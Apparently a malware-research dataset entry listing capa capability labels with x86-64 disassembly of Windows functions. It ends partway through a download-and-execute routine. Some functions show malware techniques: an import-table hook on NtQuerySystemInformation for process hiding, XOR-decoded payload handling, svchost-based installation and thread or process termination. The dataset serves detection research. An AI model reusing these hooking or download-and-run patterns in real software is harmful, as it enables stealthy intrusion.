joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002060
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x14000215b
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x140002163
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x14000219a
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x140002170
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400021c5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x1400021eb
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x1400021d0
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a310
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
lea edi, [r14 + 0x28]
test al, al
je 0x14000a3c1
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.140010520
cmp rax, 1
jne 0x14000a3f7
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x14000a39d
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x14000a390
cmp rcx, 1
jb 0x14000a3f7
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14000a360
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000bb00
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.1400101e4
int3
Function at 0x14000a480
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a4c5
xor al, al
jmp 0x14000a512
cmp word [rbx], 0
je 0x14000a4dd
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a4d0
cmp word [rsp + 0x30], 0
je 0x14000a50b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a533
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a4f0
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000bb00
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.1400101e4
int3
Function at 0x14000acd0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001fb60
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x14002fdd0]
lea rsi, [0x140042e10]
mov rdi, rcx
test r11d, r11d
jne 0x14000ad49
mov r8d, 0x1000
lea rdx, str.HOME
lea rcx, [rsp + 0x20]
call fcn.14000a540
test al, al
je 0x14000ae29
lea rcx, [rsp + 0x20]
call fcn.1400147ec
movsxd r11, dword [0x14002fdd0]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x14002fdd0], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000ad84
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ad74
add rax, 2
test ecx, ecx
jne 0x14000ad60
test edx, edx
je 0x14000ada7
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000ad54
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000ad90
cmp rax, 2
jne 0x14000adab
cmp word [rdi + 2], 0x3a
jne 0x14000adab
mov al, 1
jmp 0x14000ae08
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000add6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000adfd
mov bl, 1
cmp dword [0x14002fdd0], 0x400
jge 0x14000adfd
mov rcx, rdi
call fcn.1400147ec
movsxd rdx, dword [0x14002fdd0]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x14002fdd0], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000bb00
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
lea rcx, str.HOME
call fcn.14000ab70
int3
Function at 0x14000c3f4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c43e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c43e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c43e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c43e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c43e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c440
xor al, al
add rsp, 0x28
ret

Function at 0x1400101d8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140010043
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140010043
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140010043
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140010043
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140010043
cmp dword [rcx + 0x84], 0xe
jbe 0x140010043
cmp dword [rcx + 0xf8], 0
je 0x140010043
mov ecx, ebx
call fcn.1400100f4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000fed0
nop
cmp dword [rbp + 0x20], 0
je 0x140010091
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001009c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000ffd4
Function at 0x1400195e8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14001966f
mov rsi, rbx
cmp word [rax], bp
je 0x14001962e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140019618
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140019614
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140016e18
mov rdi, rax
test rax, rax
je 0x14001965c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140020200
mov rbp, rdi
xor ecx, ecx
call fcn.140015f28
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001b7dc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001b7f2
mov al, 1
jmp 0x14001b852
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001b803
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001b850
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019930
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001b850
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001b850
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001b850
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001b852
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001fa70
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001fa98
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001fa98
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1800025a8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
call fcn.180003698
and dword [rbp + 0x10], 0
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
mov eax, dword [rbp + 0x10]
lea rdx, [rbp - 0x40]
and qword [rbp - 0x40], 0
xorps xmm0, xmm0
and dword [rbp - 0x14], 0
mov r8d, gethostname
and dword [rbp - 0x18], 0
mov rcx, rbx
and dword [rbp - 0x10], 0
and qword [rbp - 0x28], 0
movdqu xmmword [rbp - 0x38], xmm0
mov dword [rbp - 0xc], 0x2072024
mov dword [rbp - 0x1c], 0x11000
mov dword [rbp - 0x20], eax
call qword [rbx + 0x28]
mov rcx, rbx
call fcn.18001046c
mov rdi, rax
call fcn.180010a44
mov qword [0x1800609c0], rax
call fcn.180010a44
mov qword [0x1800609b8], rax
call fcn.1800065c4
and qword [rsp + 0x28], 0
lea r8, [0x180002474]
and dword [rsp + 0x20], 0
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rbx, rax
test rax, rax
je 0x180002642
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x180002642

Function at 0x180002680
Capabilities:
Get common file path
Terminate process

Disassembly:
sub rsp, 0x448
xor edx, edx
lea rcx, [rsp + 0x230]
mov r8d, 0x208
call sub.ntdll.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0x230]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x1800026dc
lea rcx, [rsp + 0x230]
call fcn.180015380
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
jmp 0x180002746
and qword [rsp + 0x450], 0
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x208
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x180002711
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rdx, str._svchost.exe__Install
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
call fcn.18000be08
mov r8d, dword [0x1800609d8]
lea r9, [rsp + 0x450]
mov rdx, qword [0x1800609d0]
lea rcx, [rsp + 0x20]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rsp, 0x448
ret
Function at 0x180002750
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x760]
sub rsp, 0x860
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
call fcn.180014a2c
mov edi, 0x208
lea rcx, [rsp + 0x20]
mov r8d, edi
xor edx, edx
mov ebx, eax
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x20]
mov ecx, ebx
call fcn.180014ba8
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea rcx, [0x180060794]
call fcn.18000bfac
lea r8, [0x180060794]
lea rdx, [rsp + 0x20]
lea rcx, [0x18006085c]
call fcn.18000c0e0
mov r8d, edi
lea rcx, [rbp + 0x130]
xor edx, edx
call sub.ntdll.dll_memset
mov edx, 0x5c
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_wcsrchr]
xor ebx, ebx
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x130]
mov word [rax], bx
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
cmp dword [0x1800609b0], ebx
je 0x1800028b6
mov r8d, edi
lea rcx, [rbp + 0x340]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, [0x1800608c0]
lea r8, [rbp + 0x130]
lea rdx, str._s_s
lea rcx, [rbp + 0x340]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [0x180060794]
lea rdx, [rbp + 0x340]
lea rcx, [0x1800608c0]
call fcn.18000c0e0
mov r8d, edi
lea rcx, [rbp + 0x550]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, [0x180060924]
lea r8, [rbp + 0x130]
lea rdx, str._s_s
lea rcx, [rbp + 0x550]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [0x180060794]
lea rdx, [rbp + 0x550]
lea rcx, [0x180060924]
call fcn.18000c0e0
lea rcx, [0x18005ff30]
call fcn.18000c694
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea r11, [rsp + 0x860]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x180002c10
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
mov r10, r8
movsxd r8, edx
test edx, edx
jle 0x180002c30
mov rdx, rcx
mov r9, r8
xor byte [rdx], 0x3a
inc rdx
sub r9, 1
jne 0x180002c24
mov rdx, rcx
mov rcx, r10
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, 1
add rsp, 0x28
ret

Function at 0x180002c48
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x230
or qword [rax + 8], 0xffffffffffffffff
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x208
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x180002c84
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rdx, str._svchost.exe__k_netsvcs
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
call fcn.18000be08
mov r8d, dword [0x1800609d8]
lea r9, [rsp + 0x240]
mov rdx, qword [0x1800609d0]
lea rcx, [rsp + 0x20]
mov rbx, rax
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, rbx
call fcn.18000bf7c
mov rax, qword [rsp + 0x240]
add rsp, 0x230
pop rbx
ret

Function at 0x180002d6c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rax, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
xor ecx, ecx
mov qword [0x1800609f0], rax
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
movsxd rcx, dword [rax + 0x3c]
mov ebx, dword [rcx + rax + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
add rbx, rax
mov qword [rsp + 0x38], rbx
jmp 0x180002e35
cmp dword [rbx + 0x10], 0
je 0x180002e3e
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov edi, dword [rbx + 0x10]
add rdi, rax
mov qword [rsp + 0x38], rdi
jmp 0x180002e29
cmp rax, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
jne 0x180002e25
lea r9, [rsp + 0x30]
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rax, [0x180002e4c]
mov r8d, 8
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov rcx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
add rdi, 8
mov rax, qword [rdi]
test rax, rax
jne 0x180002dcb
add rbx, 0x14
cmp dword [rbx], 0
jne 0x180002dac
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180003824
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r15, rcx
mov rdi, r9
mov rcx, r9
mov r14, r8
mov rsi, rdx
call qword [r9 + 0x30]
mov r12d, gethostname
jmp 0x1800039ea
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov rcx, rax
mov edx, ebx
call qword [r15 + 0x20]
mov ebx, eax
cmp eax, 0xffffffff
je 0x180003a18
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, ebx
jb 0x1800039f3
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, ebx
jb 0x1800039e4
test rsi, rsi
je 0x1800039e4
mov r8, r12
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memset]
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, r12d
jb 0x1800039e4
mov r8d, r12d
mov rdx, rsi
mov rcx, rdi
call qword [rdi + 0x20]
mov rax, rsi
mov rcx, r12
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x1800038d0
mov eax, dword [rsi + 0x28]
mov ebx, dword [rsi + 0x2c]
mov dword [rsp + 0x50], eax
test eax, eax
je 0x1800039d3
mov rcx, rdi
call qword [rdi + 0x30]
test ebx, ebx
je 0x1800039a7
cmp eax, ebx
jb 0x1800039f3
mov edx, dword [rsp + 0x50]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
xor edx, edx
mov rbp, rax
test rax, rax
je 0x180003a0c
mov rcx, rdi
call qword [rdi + gethostname]
mov r9d, ebx
lea rdx, [rsp + 0x50]
mov r8, rax
mov rcx, rbp
call fcn.18001b028
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x40]
test r14, r14
je 0x180003994
movsxd r8, dword [rsp + 0x50]
mov rcx, r8
test r8d, r8d
jle 0x18000396f
mov rax, rbp
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x18000395e
mov r8d, dword [rsp + 0x50]
cmp dword [rsi + 0x28], r8d
je 0x180003979
mov dword [rsi + 0x28], r8d
mov rdx, rbp
mov rcx, r14
call qword [r14 + 0x28]
mov rcx, qword [r15 + 0xa8]
mov r8, r14
mov rdx, rsi
call qword [r15 + 0x50]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x1800039e4
cmp eax, dword [rsp + 0x50]
jb 0x1800039f3
test r14, r14
je 0x1800039e4
xor edx, edx
mov rcx, rdi
call qword [rdi + gethostname]
mov r8d, dword [rsp + 0x50]
mov rcx, r14
mov rdx, rax
call qword [r14 + 0x28]
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call qword [rdi + 0x40]
mov rcx, qword [r15 + 0xa8]
mov r8, r14
mov rdx, rsi
call qword [r15 + 0x50]
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, r12d
jae 0x180003858
xor eax, eax
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov r8, r12
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memset]
or eax, 0xffffffff
jmp 0x1800039f5
Function at 0x180004610
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rdi, rcx
mov dword [rbp - 0x30], 0x13121110
xor ecx, ecx
mov dword [rbp - 0x2c], 0x17161514
mov dword [rbp - 0x28], 0x1b1a1918
mov dword [rbp - 0x24], 0x1f1e1d1c
mov dword [rbp - 0x20], 0x23222120
mov dword [rbp - 0x1c], 0x27262524
mov dword [rbp - 0x18], 0x2b2a2928
mov dword [rbp - 0x14], 0x2f2e2d2c
mov dword [rbp - 0x10], 0x33323130
mov dword [rbp - 0xc], 0x37363534
mov dword [rbp - 8], 0x3b3a3938
mov dword [rbp - 4], 0x3f3e3d3c
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call qword [sym.imp.msvcrt.dll_srand]
xor ebx, ebx
call qword [sym.imp.msvcrt.dll_rand]
movsxd rcx, eax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*2]
shl rax, 4
sub rcx, rax
movsxd rax, ecx
mov cl, byte [rbp + rax - 0x30]
mov byte [rdi + rbx], cl
inc rbx
cmp rbx, 0x14
jb 0x18000468b
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x180004d34
Capabilities:
Terminate process
Terminate thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rdi, qword [rcx + 0x48]
lea rdx, [rsp + 0x20]
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
and dword [rsp + 0x48], eax
mov rcx, rdi
mov qword [rsp + 0x50], rax
and dword [rsp + 0x50], eax
lea r8d, [rax + 0x38]
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x54], 0x2072024
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x44], 5
call qword [rdi + 0x30]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x208
call sub.ntdll.dll_memset
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rsp + 0x60]
call fcn.180014888
mov rax, qword [0x1800609c8]
mov dword [0x1800609fc], 1
mov rbx, qword [rax]
jmp 0x180004de2
cmp qword [rbx], 0
je 0x180004dde
mov rcx, qword [rbx + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x180004dcc
mov rax, qword [0x180060a28]
mov rbx, qword [rax]
jmp 0x180004e09
cmp qword [rbx], 0
je 0x180004e05
mov rcx, qword [rbx + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x180004df3
lea rdx, str.Inject_Test
lea rcx, [0x180060988]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x180004e40
mov rcx, rdi
call qword [rdi + 0x18]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitThread]
lea rbx, [0x18005ff30]
mov rcx, rbx
call fcn.18001575c
mov rcx, rbx
call fcn.180015598
mov rcx, rbx
call fcn.18001550c
and qword [rbp + 0x180], 0
lea rcx, [rbp + 0x180]
and qword [rbp + 0x188], 0
call fcn.180003018
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x180004ebc
lea rdx, [rbp + 0x188]
call fcn.18000321c
mov rbx, qword [rbp + 0x188]
test rbx, rbx
je 0x180004ebc
lea rcx, [0x1800605a0]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r9, qword [rbx]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
call qword [r9 + 0x78]
mov rcx, rdi
call qword [rdi + 0x18]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
mov edx, 0x7b
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea r11, [rsp + 0x270]
xor eax, eax
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1800054a0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0xf70]
mov eax, 0x1070
call sub.ntdll.dll___chkstk
sub rsp, rax
mov rbx, rcx
xor edx, edx
lea rcx, [rbp + 0x770]
mov r8d, 0x800
call sub.ntdll.dll_memset
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x800
call sub.ntdll.dll_memset
and dword [rbp + 0xf88], 0
lea rdx, [rsp + 0x30]
and dword [rbp + 0xf80], 0
xorps xmm0, xmm0
xor eax, eax
mov rcx, rbx
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x40], xmm0
lea r8d, [rax + 0x38]
movups xmmword [rsp + 0x50], xmm0
call qword [rbx + 0x20]
mov r8d, 4
lea rdx, [rbp + 0xf88]
mov rcx, rbx
call qword [rbx + 0x20]
mov r8d, 4
lea rdx, [rbp + 0xf80]
mov rcx, rbx
call qword [rbx + 0x20]
mov r8d, dword [rbp + 0xf80]
test r8d, r8d
je 0x1800055e1
lea rdx, [rbp + 0x770]
mov rcx, rbx
call qword [rbx + 0x20]
lea rdx, [rsp + 0x70]
call fcn.180013dec
lea rdx, str._temp
lea rcx, [rsp + 0x70]
